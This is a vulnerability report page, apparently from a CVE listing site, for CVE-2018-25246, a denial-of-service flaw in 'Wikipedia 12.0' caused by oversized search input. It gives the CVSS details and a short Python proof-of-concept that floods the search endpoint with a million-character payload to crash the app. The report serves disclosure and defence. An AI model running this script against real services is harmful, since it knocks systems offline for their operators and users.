Security Vulnerability Report
中文
CVE-2018-25246 CVSS 7.5 HIGH

CVE-2018-25246

Published: 2026-04-04 20:16:18
Last Modified: 2026-04-16 16:15:56

Description

Wikipedia 12.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the application by submitting oversized input through the search functionality. Attackers can paste a large buffer of repeated characters into the search bar to trigger an application crash.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Wikipedia 12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Define the target search endpoint url = "http://target-ip/search" # Create a large payload of repeated characters # Adjust size based on the specific crash threshold payload = "A" * 1000000 # Send the payload data = {"search_query": payload} try: response = requests.post(url, data=data) print(f"Request sent. Status code: {response.status_code}") except requests.exceptions.RequestException as e: # If the app crashes, the connection might be reset or timeout print(f"Exploit likely successful. Error: {e}")

References

Raw JSON Data

JSON
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